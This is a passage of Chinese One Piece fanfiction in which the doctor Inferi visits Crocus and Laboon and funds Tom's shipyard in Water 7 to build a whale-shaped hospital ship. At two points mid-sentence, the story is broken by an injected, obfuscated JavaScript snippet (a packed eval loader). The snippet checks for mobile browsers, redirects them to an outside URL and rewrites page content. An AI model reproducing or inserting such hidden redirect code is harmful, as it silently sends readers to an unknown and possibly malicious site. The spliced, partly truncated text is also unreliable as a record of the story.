白胡子海贼团啊... 路飞果然是又饿了,开始哼哼唧唧的,弄得两个新任小哥哥哇哇问他怎么了怎么了。 “饿了吧,他也可以吃辅食了,先喂点奶,然后告诉萨奇做一点辅食给他,你们两个好奇的话也可以学。” 茵弗将小宝宝放到面前出现的手里,看他被运到罗宾怀里。罗宾也长个子了呢,身后跟着两个比她小的豆丁往厨房走,真的很像个大姐姐了。 基德基拉又跑了回来,基德左手拿着一个大板手,右手拿着一个怪怪的小机器人。环顾四周没看到艾斯他们,他跑过来问:“小姨!雀斑仔他们呢?” 茵弗听到他的昵称笑了一声,基德也开始跟着他学取昵称了啊,虽然自己也是从杰克逊号上学来的。 “去给小路飞喂饭了,之后大概不是去花园就是玩具房吧,我看到你上次在那边搭的木桥了,很厉害哦,看起来好复杂。” 基德咧着牙笑:“很帅吧!基德大桥!看我的机器人,他会是基德大桥的看守者王霸一号!” 茵弗接过用碎零件拼起来的小玩意,颠颠居然还蛮结实的。这孩子意外的很细腻呢,组装这类的工作做的很好,也很有想象力。 “帅诶,我很喜欢,也做一个送给我可以吗?下次到岛上带你去买喜欢的零件,不要趁科依先生不注意拿他的东西哦。” 小炮仗炸毛:“我没有啦!上次你说过我就没有拿了,这是他分给我的零件做的!” “好,对不起啦,给你糖果,去找艾斯他们吧。” 基德:“哦原谅你!基拉给你一个!走了!” 啪嗒啪嗒啪嗒。 小孩子的脚步声真的很让人愉悦。 茵弗起身收拾地上仍然散落的几个玩具,一起放在篓里准备拿回玩具房。小路飞是个很喜欢探索的宝宝,长得也快,现在慢慢开始学着爬了,比起玩具房的垫子,几个孩子好像觉得在客厅的厚地毯上爬起来更安全什么的。 明明这边才更容易撞到头吧,不过就是这种小孩子纯粹的关心很可爱。 雷利说他溺爱小孩,给他们买的各种玩的用的也太多一点,但是书上写的养自家小孩不就是这样吗?露玖听他这么说之后还亲了他一口呢,海贼船上把香克斯和巴基拉扯大的老男人别管。能一辈子做小孩才幸福。 路上碰到斯嘉丽,告诉对方可以告诉她社长他们进伟大航路了,顺便免费卖他消息世界知名品牌嘿咻熊猫要和鱼人岛合作。 以后要和这只信天翁往来得更多,一些对自己来说无关紧要的东西现在都便宜卖给他,就当贿赂了。 居然转悠一圈没找到雷利,奇怪了,难不成在图书室吗? 还真的在图书室。 茵弗凑过去想看看他在干嘛,看清对方手里的东西时僵住了。 他的笔记本,颜料,美工刀,装订线。 手里拿惯了利刃的金发副船长手上沾着各种颜色,拿着根小小的画笔一点点地在他破旧的本子上重新上色。 “您...再给我买一本不就好了,又不是不给您零花钱。”茵弗咽下喉咙里的梗塞,小心地在他身边坐下后开玩笑地说。 雷利专心手上的工作回复道:“这个本子不一样吧,你真的想换吗?” 茵弗弯起眼睛,靠在他身上摇了摇头。 他不想,这是承载着他第一次意识到,【如果自己对他们开口,那么就能得到】回忆的宝物。一开始只是航海日志本来着,到了红十之后就变成笔记本。早已经被写满,重新裁开装订,裁开装订,就像是他的毯子。 磁鼓岛上带来的【最温暖的毯子】已经很旧很旧,经过多次洗涤修补之后也变得没有曾经那么保暖,不过他仍然将他铺在自己的窝里。一样的,从杰克逊号上带下来,能真实地紧攥在手里的东西所剩不多,也就格外珍惜。他原本的药箱都丢了。他没有海贼那种只向着明天前进的坦荡,必须用过去的绳子拴着自己。 他带着点鼻音跟身旁的人撒娇:“可是它好幼稚哦,小熊彩虹什么的,基德他们都不喜欢了。” 雷利吹吹已经再次变得鲜艳的彩虹,好让上面的颜色快点变干,将笔暂时放到一边,用毛巾擦了擦手。 “你喜欢不就好了吗?我当时眼光不错。” 能一辈子做个小孩才幸福。 茵弗被雷利摸着头,顺势直接躺倒他腿上,额头上被轻轻地揉着。 “那您再给小熊画个医生服装吧,我会更喜欢,还是第一次知道您手这么巧。” 雷利笑了一声,从善如流地提起笔,打开白色的小罐颜料。 “别小看镀膜师傅老雷啊。” 茵弗躺在他腿上,因为他向前倾的姿势被笼罩在阴影里。酒的味道,一点颜料的味道,还有雷利温暖的气息。 “你要睡一会儿吗?” “您怎么最近总赶着我睡觉?以前还总说我天天打盹睡太多。” 雷利又笑笑,分出一只手背在他脸上蹭了蹭。 茵弗没睡,他珍惜着这会儿的亲昵。图书室沉淀与厚重的感觉,总有一天也会在他眼前的这个男人身上出现,已经开始出现。他看不到他的眼睛,只能看到鼻尖和修剪好的胡子。奇怪的造型,但很帅。有漂亮胡子的人都很帅。 雷利对自己来说是什么呢?港湾、壁橱、可以在后退时倚靠的墙壁? 他还捏着那小小的画笔,生疏又认真地填补自己身上的裂缝呢。 大概是什么奇怪的粉刷匠? 他被自己的联想逗笑,雷利停笔等他笑完,也没问这个小疯子发什么癔症,只是说差点涂歪了,让他消停。 “喂,雷利,你说小八救过你,你当时是去跳海了吗?” 茵弗自从听他提过一嘴,就一直在想小八能怎么救到他。海贼王的副手,冥王,海洋对他来说只是个泳池的男人,一个鱼人少年,如何救了他呢。 也许是他的用语,或者是问题本身,他感到自己枕着的人紧绷了一下。硬硬的,躺起来不舒服,所以他伸出手胡乱摸着金发男人结实的腹,示意他放松。 他抓紧衬衫的手被捉住了,轻轻放回身旁,带着一点颜料和烟气的手指拢在他眼上。 “好孩子,我会和你一起变老,所以多睡一会儿吧。” 茵弗夸张地诶一声,闭着眼睛将那只手拉下来亲吻掌心。 进入伟大航路很简单,但是见到库洛卡斯之后和雷利一边喝酒一边抱怨,说茵弗跑下船那两年路过双子峡也不和他打个招呼,“不敬老师的死小鬼”“跟个魂儿一样眨个眼就没了”真的是让他很尴尬,茵弗当然是拒绝听下去的。 “好啦,老大!我错了嘛!您的心胸和您的肱二头肌一样宽广,原谅我原谅我原谅我。” 他唰地一下掏出熟悉的花花绿绿的纸啪地拍在桌子上。 “来换个话题吧!我要开个大医院,能派人在海上到处乱跑的那种,您来吗?也让您给一群人做老大!” “不去。” “为什么!原谅我原谅我原谅我原谅我...” 叭叭叭的嘴被捏住了。 “不是因为这个,拉布还在这里,我可不要再跟船跑个好几年。” 这只孤独的大鲸鱼已经等了不会回来的一伙人三十多年了,库洛卡斯不想让它再等自己几十年。他也不用过多地解释,茵弗自然在杰克逊号上的时候就听过拉布的故事,毕竟库洛卡斯当时上船的一大原因就是想要打探伦巴海贼团的消息。 “他们大概是死了,或者逃了。所以我会在这里陪拉布的。” 茵弗:“有没有1%的可能性,他们只是来不了,我们没找到?毕竟当时也没有把整片海走个遍嘛。” 雷利笑了一声:“你觉得有吗,小神父?” 茵弗:“我不是神父,雷利先生,那件神父袍我不去黑曼巴和亨姆的时候都没穿过。不过我愿意相信有1%,或者您觉得好听一点的话,99%,反正都差不多。” 库洛卡斯摇头:“哪里差不多啊,这么多年我还是弄不明白你脑子里到底脱了几根线,操心啊雷利,都退休了又被这小子拉回来了。” 雷利对着举到唇边的酒杯哼了一声,带着笑意说:“你也来啊,至少小家伙现在有钱的很,比当时给罗杰管经费可是省心得多。” 库洛卡斯摇头:“你不需要我,小子,记得再路过的时候来打个招呼就行。” 茵弗把自己杯里的酒喝掉,顿了一会儿说:“我需要您。” 库洛卡斯皱眉,和面色无奈的雷利对视,还没开口,一改严肃语气的声音就叽里呱啦地响起来。 “雷利先生,您,鱼人岛的桑贝尔先生,要是碰到贾巴先生我也把他绑架到船上,最后走遍整片海,大家都在波比上,家人一起旅行!” “艾斯也见见叔叔伯伯们,海贼王的儿子当然会被大家爱着,他和他爸爸一样喜欢冒险,您们一定喜欢他。” “不、算了。当我没说吧。我开玩笑呢。” “不过您真的不来吗?带上拉布一起不就好了?之前因为他太小不能走,现在都好大好大啦......” 雷利伸手把不知不觉站起来手舞足蹈的青年拉回椅子上坐着,给他倒了点水。 库洛卡斯嘴角垂着:“你、等等,什么海贼王的儿子?罗杰他...艾斯???” 茵弗:“啊、对您忙着骂我来着都不知道这事儿。罗杰先生有了爱人,生了个儿子,被我在世界政府那边瞒下来了,现在我们在养他...” 小屋里震惊的大吼让整座灯塔都震了震,罗西南迪像抱小狗一样举着基拉,蹲在海岸边让他去摸那条巨大的鲸鱼,差点没连着基拉一起掉下海。 一团火与羽毛降落身边,青黄色的大鸟背着脸红扑扑的艾斯疑惑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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茵弗头上顶着三个包收拾新的客房,来帮忙的罗西南迪听他哼着不知道什么歌的开心样子觉得好玩。 “又偷小孩,医生。” “说什么呢渡鸦先生,我不是把拉布爸爸一起端走了吗?” 哟嚯嚯嚯、哟嚯嚯嚯、波哦哦哦、 大蜗牛和大鲸鱼的组合离开灯塔的人造光,向着明亮那方前进。 白衣青年坐在大红鱼人的肩上,看史黛拉教孩子们唱海贼的歌——不,拉布的约定之歌。 “选哪条线路,茵弗医生。” “能过七水之都的吧~” 船上有了库洛卡斯,雷利就有了酒友,两个人有事喝一杯,没事喝一杯,在浴室的大温泉里也喝一杯。本来就没带那么多酒,他们还要提要求,又不爱喝茵弗的药酒,还好第一站就能买。 威士忌山是个不富裕的地方,酒倒是酿很多,除了威士忌,各种啤酒质量都不错。又有港口,伟大航路第一站,也不知道为什么不在这方面经营一下。露玖留下什么联系用的名片说以后可以合作也不知道什么时候做出来的。她的各种电话虫现在比茵弗的还多。 不愧是家里商业的王。 雷利倒是没有再像曾经在香波地见过的那样喝得烂醉了,所以他们开心,就随他去吧。没事儿就让他抱着路飞听那孩子笑一笑,心情好。 现在马尔科在学着跟他一起打理药园,和萨奇商量着下次回莫比迪克的时候掀了比斯塔的花圃,也给老爹种草药。 真是孝顺的好孩子,靠谱的兄弟啊。 茵弗没管他们,在两个人猫在培养生骨菇的板箱前小心翼翼地给这些脆弱的蘑菇补充水雾时横扫一脚,把不死鸟绊倒在地上。 “我差点砸到桔咳花的花坛yoi!刚换的盆!” “是嘛?那您下次小心点摔,换个方向。” 在愤怒的菠萝扑上来给他一脚凤凰印前,茵弗递过考察用的一大一小两个背包。 “盘古之岛,先生们,这里好多史前动植物,去把有用的,好吃的带回来吧?” 史前动植物,当然包括恐龙,烤恐龙肉没有他想象的那么好吃,口感跟牛肉差不多。威士忌山刚买的酒又没了大半,因为进了两个巨人的肚子。 布罗基和东利在这座他们的小花园已经因为早已忘记的原因打了几十年,至今未分出胜负。中央火山喷发就打架,打完架再一起休息吃肉。两个人的房子都是巨大无比的巨兽骨头。 野蛮、荣耀、友谊。茵弗不讨厌,恰恰相反。 抱歉了,老雷,老大!我想请他们喝酒! 几个小孩试图一起捕猎一头三角龙,仍然在赶进度的萨博差点被犀利的角穿透胸腹。茵弗打了个滚,确定怀里的小土豆没事后告诉他力量不够的时候不要学着艾斯他们直击,然后放他回自己愤怒又担心的兄弟姐妹们身边。 他抹了一把被恐龙角划刺过的侧腰,用外套随便在身上缠住止血,以免孩子们看到担心。擦掉手上的红后,那条三角龙很快就在被一堆手固定住的一瞬,被基德用大板手敲在脖子上后哀鸣倒地。所以说,几个几岁的孩子能干掉一只恐龙还是太夸张了,露玖给他们喂的什么啊? “干得不错嘛,小矮子们。” “谢谢,布罗基先生,这下肉大概够吃了。” “哦哦!那我去叫东利来!” 记录指针要一年才能储满倒是没想到,还好自己准备了各种指针。基德居然很舍不得,说也想弄一块恐龙骨头罩在波比身上。“抱歉,这座岛上已经没有那么大的蜥蜴啦”,东利捋着胡须哈哈大笑。为了哄蔫吧的小炮仗,那只三角龙的头被茵弗处理成干净安全的骨架后挂在他的床头。 “所以说既然有七水之都的永久指针为什么要跟着记录指针走啊。” “旅行啊,库洛卡斯先生,走走停停嘛。拉布不是玩得挺开心?泰格先生上次和他游泳回来我听了一下,听起来好多了。” 航线偏了些,大概跳到别的路线上去了,有点奇怪,不过能走到就好。又过了两个岛后雷利才说其实小花园正常路线走的话下一站应该是是磁鼓岛,不知道为什么茵弗的永久指针是斜的。 糟了,果然当时贪图便宜是有后果的。 他对着一箱子统一购入的永久指针沉思,每个都拿起来检查了一下,果然都不太对劲,而且歪的角度都一模一样。无良商家知不知道这很危险啊? 飘到利巴力岛之后,重新购入永久指针,然后在马尔科阴阳怪气的声音里把那箱残次的指针丢给基德让他随便拆着玩。臭鸟,不就是吃糖的时候没忍住说他脑袋像菠萝吗?明明孩子们说他都yoiyoi的忍了。 “但是只有你每次跟路飞说我都叫菠萝yoi。” “哦,您不想等他开口第一次叫您的时候也叫您菠萝是吗?别不好意思啊。” “来打一架吧yoi,茵弗玛利。” 磁鼓岛啊... ''等你下次回来时,我会让这个国家开满樱花。'' 没关系,希鲁鲁克笨手笨脚的,就当多给他一些时间吧。 茵弗挡住了绕着青黄色火焰的爪子。 59.伊甸鲸 七水之都的废弃造船厂中,汤姆工作室正在为打造海列车而劳作。 艾斯巴古放下手中的铁锤,用脖颈上搭着的毛巾擦掉脸上蒸腾的汗水。海上列车不仅是汤姆先生为了整座城市开辟的生路,对他来说,更是自己敬爱的老师能够免去为海贼王造船罪责的船票。 所以...工作室的每一个人都尽心尽力...地... “笨蛋奇!你跑到上面干什么啊!快下来帮忙!” “大蜗牛啊!汤姆先生!白痴巴古!super大蜗牛!” 蓝紫色头发的青年绕过遮挡视线的列车头,顺着弗兰姆的手指看向海面,艳丽涂装的巨大海蜗牛正迎面而来。 奇迹游医? “您好,我是茵弗玛利。” “哇哈哈哈你好!很久不见了,雷利兄弟,库洛卡斯兄弟!” 和报纸上...不太一样。 和自己年龄相仿的金发青年坐得很端正,但是翘着一只腿,一边温和有礼地讲话,一边颠着坐在腿上咯咯笑的黑发小孩子。 笨蛋弗兰姆只穿着泳裤打招呼,甚至还有女孩子在,艾斯巴古一边骂他一边想让他至少穿上外裤时却被对方笑吟吟地阻止。 “这是...弗兰姆先生对吧,他的自由,小知更鸟他们只是想来看看传奇的造船师傅,之后会跟着其他人去城里逛逛的。” 游医将手里的孩子交给那个...恶魔之子妮可罗宾,然后温柔地在她脸上亲了亲后打发身边一群的小孩子去玩了。 城里现在并不安全,废船厂也因为大量的废弃材料对孩子来说有些危险。听到他的提醒,茵弗玛利只是感谢他的关心,然后说没关系的,他们知道如何相互照顾,保护好自己。 笨蛋奇带着横杠去给那几个小男孩炫耀自己的破战舰,自己出于礼貌和好奇,还是选择留在汤姆先生身边。 “放松点,艾斯巴古先生,我喜欢您的名字。【冰山】很适合您。” 茵弗喝了一口茶,对着紧绷的青年笑笑。他没打扰雷利他们和汤姆叙旧,而是和船匠的大徒弟聊了起来。询问一些工作上的事啊,靠岸时看到海岸上正在打造的巨大器械是什么啊,这类这类。没过太久艾斯巴古就放松下来,也开始问一些问题,奇迹游医来这里干嘛啊,为什么特意找汤姆工作室呢,这类这类。 “用海上列车联通各个岛啊...真是了不得的伟业。” 流动起来,他也想做类似的事情呢。 艾斯巴古同样震惊,想要联通各个海域,甚至整片海...汤姆先生要给这下沉的,与外界断了联系的岛以新生,这位和他一样大的年轻人,想要将“医”送到每一个人身边吗?工作室里昏黄的灯光混着窗外的阳光投在他的身上,明明暗暗,可难怪是“带来奇迹”的游医啊。 雷利:“啊,不过你现在在造海列车的话,大概没时间给这小子造船了吧,他估计要的量不少呢。没想到罗杰还是给你带来麻烦了啊。” 紫发青年回神,发现汤姆先生他们不知道什么时候开始也在听他们的谈话。自己确实...无形中就和游医说了很多,和他聊天莫名很放松也是一种奇迹吗? 汤姆:“哈哈哈我不后悔给罗杰兄弟造船!能活下来当然好了,不过就算审判我有罪,男人也要响当当地活!” 胖胖的牛角鱼人拍了拍茵弗玛利的背,“真是个男子汉啊!如果时间允许,我很想给你造船,可是政府只给我十年,海列车只有我们几人在造,时间很紧。”他捧着肚子大笑,“哇哈哈哈真想看看啊!在海上行走的医院!” 茵弗:“如果我能帮您缩短时间呢?您需要什么?” 动力技术的改进,资金,材料,人手,更好的设备器具...如果让艾斯巴古自己列他都能想出来太多太多。而汤姆先生在收到冥王点头示意后,正了正神色,谨慎地开口。 他面前的青年没有被这庞大的需求吓到,只是认真地点头,不知道从哪翻出来一个颜色鲜艳的本子开始在里面一条条记下。 就好像可可罗婆婆随手记下的购物清单,习以为常,内容却是让人赖以生存的不可缺。 然后他轻笑了一下:“即使没有这些,您只带着两位徒弟也能把海列车造出来,真的是十分令我钦佩的,我喜欢您。” 又来了,“我喜欢”什么的,虽然不是在夸他,艾斯巴古也有点不好意思地挠挠脸,耳朵有点热。 他们的谈话被外面的叫喊声和炮响打断了。急匆匆去查看时,果然是弗兰姆带着几个小男孩玩他用垃圾造出来的炮弹。比人家大那么多还称兄道弟的,尤其是跟那个红发,手里拿着板手的小子。 看起来没人受伤就好,他可不想因为这个笨蛋冒犯到他们的客人。 茵弗没管他们师兄弟打架,他走到孩子们旁边确认他们没事后听了一耳朵什么“小姨小姨弗兰姆好厉害”“带着大炮和鱼枪的战舰”“打海王类”“super bro”...基拉也少见地激动。 环顾四周,确实看到岸上放着不少拼凑改造的船只,上边装着各种危险的武器,船身上标着序号。只不过看起来用过一次就丢掉一边了,所以乱七八糟地放得到处都是,不少因为没有保养而破损生锈的痕迹。 他挑挑眉,带着孩子们走到哈哈笑着阻止徒弟们打架的高大鱼人身边,打断艾斯巴古的道歉。 “没有关系,冰山先生。既然孩子们都没事,倒是我这边该感谢...奇先生?带着他们玩。基德也对改造组装很感兴趣,机械也是男人的浪漫嘛。” 弗兰姆:“哦你super的懂嘛!黑皮男!” 艾斯巴古:“喂——” 茵弗:“不过您的战舰们为何就这样放在岸边呢?” 弗兰姆舍不得他的战舰们,在打造新的之后也没有处理旧的,自然时间久了就都堆在一边。艾斯巴古虽然因为担心危险一直想要他拆掉不需要的,但是弗兰姆觉得只有自己使用,他又不会去做坏事,没什么不安全的。 鼻尖钢铁的味道让茵弗抽抽鼻子,回答道:“可是不出港的船,真的是船吗?” 师徒三人都愣住了。汤姆爆发出新一轮的大笑,拍着弗兰姆的背发出岔气的声音。 艾斯巴古:“就是啊!笨蛋奇!既然那么爱你的烂战舰,还任由他们躺在本来就很多破烂的废船厂吗!” 弗兰姆清楚自己战舰的威力,虽然现在还干不掉海王类,不到他的预期。可是上面的武器都是他改了又改,追求杀伤力而造的。不出港它们是安全的...它们还是船吗?他心爱的造物们,接触最多的水是雨水,在陆地上等待死亡...不,它们已经死了? “可是、他们super危险,我一个人...” 茵弗嗯了一声,大概也明白他们纠结的点在哪了。歪歪头,他示意他们回工作室说话,顺便留下雷利,让库洛卡斯带着依依不舍的孩子们回去,叫泰格来。 同族相见也是分外亲切,茵弗没急着和他们商量生意的事,等着他们三人聊完,跷着腿把笔记本搭在膝盖上思考。 雷利:“有什么想法?” 茵弗将本子摊开在桌上,大概规划了一下,等屋子里的人都等着他开口后说:“我愿意以【茵弗玛利】的名义资助海列车的建造,汤姆工作室。” 汤姆因给海贼王造船,明明是第一造船师却被赶到废船厂,汤姆工作室也就无法拿出能招到人手的资金,声望。而七水之都和其他岛屿贸易的断开也让采购材料格外困难,各公司的争抢火并给整座岛蒙上死亡的阴影。 汤姆工作室没有,茵弗玛利有。 “如果您不介意,世界经济新闻社长最擅长把一件事写出花了。贿赂他一下,也许我能在为海列车造势的同时为您几年后的审判也拉来一些无罪的声议。” “我会联系杰尔玛的女王,那边现在首席发明家之一受我雇佣,他会带着一些人手来这边帮助您们对发动机一类所需的技术改进。” “我可以帮您们招工,除了船匠外,我叫泰格先生来其实也是有想要鱼人族来工作的意愿在。您也是鱼人族,应该明白力量和效率上的优势。他现在是鱼人岛的精神支柱之一,号召力很强的。” 龙那边...如果有需要工作的难民们大概也可以叫来一些,替他也减轻一些压力。 “所需材料方面,我会问一下多弗朗明哥先生有没有更好的大批量购入渠道。他之前说乌米特那边好像有新动作我还没询问过...” 史黛拉的家乡是不是废弃工厂遗留下来的钢材铁器很多?毕竟她说他在建筑材料堆里捡到基拉他们的,除了这里的废料,那里也许也可以利用起来?回收利用会比购买新的要省很多钱,即使只有一部分...不,运过来可能耗费更大。 “至于岛上难以联通外界,很多公司对您们的排挤...我最近正好购入一批不同岛屿的永久指针,可以拿出一部分以【汤姆工作室】的名义交给您运作。” 就像是为了自己而忙碌起来就没空咒骂海贼王的垃圾山居民,拉拢也好,转移注意力也罢,只要把干扰清除就可以了。 茵弗皱着眉头一边在本子上写写画画,一边在另一张纸上起稿着一份崭新的合同。咬着指甲的手被雷利抽了出来,他抬头,才注意到屋子里对他投来的震惊目光。 “嗯?您们可以随时补充的,打断我都可以,这只是初步的想法。” 弗兰姆:“我、我的战舰和这些有什么关系?” 茵弗:“武装力量,先生,您很有天赋,除了保护您们的劳动成果外,我希望您能在未来替我造海上医院时把它们改造成可以保护自己的【战舰】。” 至于目前被废弃的那些,他的建议就是要么拆了回收零件,要么他就好好埋葬它们,让它们至少能睡到海里去——出生本该去的地方。 可可罗:“可是,游医先生,我们工作室没法支撑这么大的工程消耗...还有工钱...” 茵弗:“我会提供资金,女士,请把它看成一种投资,比如未来我的医院们建造和改造需要的用金我就不会出太多钱,当然,至少木材我会提供,毕竟亚当木很难弄。” 汤姆一惊:“亚当木吗!” 茵弗:“是的,毕竟是医院,要大,要平稳,要结实,我希望它们全部都是亚当木。黑市上买又贵又麻烦,我打算去亚当树上切根树枝。” 雷利笑了一声,记忆里的黑发青年霸道地拍着他的肩膀,把那张他递过去的黑市报价单丢到一边——''这么麻烦?能买多少好酒啊!喂,雷利,我们干脆去亚当树上切根树枝吧!'' 罗杰养大的臭小子。 几轮讨论与修改后,深色皮肤的手将一张看起来十分潦草的合同推到牛角鱼人眼前。 “其实工人们上手之后,需要您们做的工作就没有那么多了,那时我的医院您们就可以开始建起来了,这几年我会先建设总部,那边差不多,这边第一艘就能下水最好。” 汤姆手有些颤抖,再次读了一边合同后签下自己的名字,回答道:“当然了,我会早早地把设计图画出来给你看...不、今晚就画吧!” 艾斯巴古也有些颤栗,因为什么他不太清楚。但是,很好,感觉很好,就像是在炎热的干渴后饮到微微冰镇的水,像开饭前兴奋的横杠。 “你、您有什么要求吗?关于船,关于我们?” 茵弗笑着说他可以随意点讲话,然后摆了摆手:“除了合同上商量好的?目前没有了,关于船的话...” 提到医院...就是白色的建筑吧。不过船的造型吗?思考间,窗外传来拉布波哦哦哦的鸣叫,是孤独的鲸歌。 “奥罗杰克逊号是艘很美的船,汤姆先生,非常非常美,谢谢您。” 茵弗玛利温柔了眼角,瞬间柔软下来的气势如浪般洗涮,艾斯巴古下意识吐出不知何时憋住的气,雷利坐直了身体。 除了够大,够结实,有自保能力这些基本要求外... “我要红色的帆,并且,请把它设计成布氏鲸的造型。” 汤姆爽快地点头,不过有些疑惑为什么要设计鲸鱼类的样式。 “因为莫比迪克也是一艘很好的船,先生,您当我剽窃创意吧,惭愧,我喜爱的船就这么几艘。弟弟们的船剽窃创意的话他们会闹的。” 弗兰姆突然兴奋地拍桌:“起个名字吧!帅气的名字不是super重要吗!比如无敌医院将军号!” 艾斯巴古:“造好了才起名吧笨蛋...要让客人看到啊...” 二人吵吵闹闹一番,最后折中,当晚茵弗看到设计图纸上那只等待成群的幼鲸时,他用它的造型给它命名了。 “就叫【伊甸鲸】吧。” - 和家里商业的王说自己要把钱投出去一大半的时候是忐忑的,是紧张的,也确实被拧耳朵了——但是不痛。 露玖:“和我商量一下呀,小茵弗,也许我们能一边带起七水之都的造船,一边回收些资金呢?” 哦哦哦哦商业的王!这种可靠的安定感,乙姬也有这种感觉呢,妈妈们的特质吗? 因为时间上不巧,正好赶上名为【水之诸神】的大海啸要袭来的几天,茵弗赶紧赶慢地把波比停在安全的地方,安慰地亲亲他的壳后带着所有人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984168|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了七水之都的高地,和汤姆工作室一起避难。 正好露玖去继续谈那方面什么商业什么回流的吧!他不管了!在不听话想要撺掇萨博他们去低处看海啸的基德头上抽了一把后,让他们去找弗兰姆玩。 他坐在旅馆高处的阳台上看着黑压压的天空打电话虫,一个又一个地联络,鼻尖上全是海盐的味道,变大的风吹得发丝纷飞。 等联络到多弗朗明哥的时候,受天气影响,信号已经很差地格拉格拉响。不过能听懂——乌米特这几年收了个养子,很有商业天赋,也越来越受宠爱,在上次帝王会晤中带来后找上他了。 “找您干嘛?” “咯嘶—你——''杰克逊''—咯啦—就明白了。” 茵弗差点没从阳台上掉下去。 还活着?他还以为...因为那段时间自己在黑曼巴动作比较多就找过去了吗?那朱尼尔他们应该也... ''长大了一定能帮上茵弗哥''吗? 遵守约定了啊,臭小子,也太帅气了吧。 “呋呋——呋——哭了?医生?” “没有,就是鼻子酸。” 他露出一个笑,希望电话虫能传递自己有多么松了一口气。 “七水之都的事情本来就是想看看运输方面您能不能帮上忙,找乌米特合作什么的,不过既然如此,您看着来好了。” “嘶——怎—么?” 拜托,都看到你越来越兴奋的笑容了,火烈鸟,明知故问很好玩? “既然您特意告诉我杰克逊在,估计也是计算好了吧?''海运''可以开始吞掉了。” “呋呋—呋呋!我最近—咯啦——恶魔果实。” 好嘛。 “那您说说吧,又弄到什么了?” “———” “这样啊,''醉酒果实''很耳熟呢,就它吧,告诉杰克逊这是对他遵守约定的感谢。” 在阳台门被推开时,他正好挂掉电话虫。艾斯巴古走进来,手里还拿着一个薄毯和外套。 “打扰您、你了,冥王雷利先生拜托我给你送毯子,他们还在汤姆先生那里和露玖女士谈话。” 茵弗点点头,从栏杆上跳下后将一堆电话虫收到箱子里,接过外套和毯子把自己裹起来,坐在了靠墙的长椅上。他看蓝紫发青年有些犹豫的样子便示意对方也坐到旁边。 “谢谢您,要一起看海啸吗?感觉您有话想说呢。” “啊、我就是想谢谢你。” “好嘛,收到您的感谢了,伊甸鲸就拜托了。” 艾斯巴古点头,目光看着已经快要开始退去的海。一年一度的【水之诸神】,是让七水之都逐渐沉没,陷入绝望的原因之一。他已经习惯了,看着爆裂的海水翻卷,试图拔走这里的一切,也许对第一次见的人来说确实是奇景吧。可是对于水之都来说,是毁灭的浪潮呢。 毁灭... “茵弗玛利医生...” “叫我茵弗吧,或者也有人就叫我医生。我很喜欢您们,不用那么生疏。” 艾斯巴古咳了一下:“为什么喜欢?我只是汤姆先生的徒弟,之前说名字也...” 茵弗:“因为您很漂亮,冰山先生,从内到外都是。” 会担心那些无人使用的船是否安全,担心家人,担心自己的城市——即使它将他们赶走,也努力和父亲般的师傅一起,想要为大家寻找出路的人啊。很有趣,很好,茵弗无比期待着海列车。 “它会不会和汤姆先生一样响当当呢?我很好奇。” 艾斯巴古:“啊,一定会的吧,毕竟是它的父亲啊。” 茵弗:“难怪您也是如此响当当的男人呢。” 耳朵好烫。 艾斯巴古拉拽自己的头巾,将它扯下搭在脖子上,好让大风吹走他脑袋里外的热意。自己的确...受汤姆先生的养育之恩...弗兰姆也是。两个鱼人族,两个孤儿,一只青蛙,在桥下的小屋里组成一个家。 “您之前想说什么?抱歉我打断您了。” “啊没事、” 他回过神,再次捡起一开始想要询问的问题。 “那个妮可·罗宾...也许可以毁灭世界,你带着她没问题吗?” 那天深夜,汤姆先生给他们讲了【冥王】的事情。妮可·罗宾可以解读古代文字,唤醒古代兵器,给整个世界带来灾难。 “为什么她能毁灭世界?” “古代兵器真的很危险。” 身旁的人鼻子里发出一声哼笑,如果不是他仔细听,几乎以为是碎在风里的幻觉。 “先生,既然您认为汤姆先生给海贼王造船无罪,那么奇先生的那些战舰,它们存在本身,是罪吗?” 艾斯巴古摇摇头,他担心它们的危险只是因为即使笨蛋奇只是想用它们和海王类打架,但是如果有恶人利用的话,也会变成害人残暴的武器罢了——跟战舰本身...没有关系? 他僵住了。 “明白我的意思了,先生?古代兵器,历史真相...它们本身并不会''毁灭''世界。就算罗宾找到它们又怎么样呢?” 最该担心的永远是他所说的,利用它们的使用者是谁。 为什么他们同意将茵弗玛利的医院改造成战舰?因为他们相信它会“保护”而不是“毁灭”。巴/雷特的手里有一枚名为【保护者】的弹壳,不止是因为茵弗想要它保护那时独自离开的他。 “奥哈拉是被想要掩盖历史的世界政府毁灭的,先生,而不是因为一群历史学家们试图毁灭世界。” “一个八岁的小女孩一夜之间失去了一切,''唯一的幸存者'',您明白这几个词背后的痛苦吗?” 尽管如此,她仍然说,她不想毁灭世界,她想研究喜欢的历史,想吃萨奇做的蛋糕,想和爱她的人们一起旅行,想再见见自己的巨人朋友,仅此而已。 被七水之都驱逐的艾斯巴古仍然热爱这座城市,被世界驱逐的妮可·罗宾也在努力继续爱这个世界。你看,这一点他们倒是很像。 “等等看她的选择吧,好吗?不会让您失望的。” 艾斯巴古有些僵硬地点头,他的整个认知被翻了个面,茵弗玛利也许也是某种【水之诸神】,在席卷过后留下与众不同,独一无二的,香浓的海盐。 茵弗听他的嘀咕笑了一声:“居然还有这种好东西吗?我要带一些走,顺便告诉露玖,商业的王会很开心的。” 海水退去,一切都静下来了。空气中有淡淡的海腥臭气,是裸露出的海底与浅湾。风停了,海也停了,等待着等待着,如山峦倾倒般的一刻。 60.骷髅与羽毛 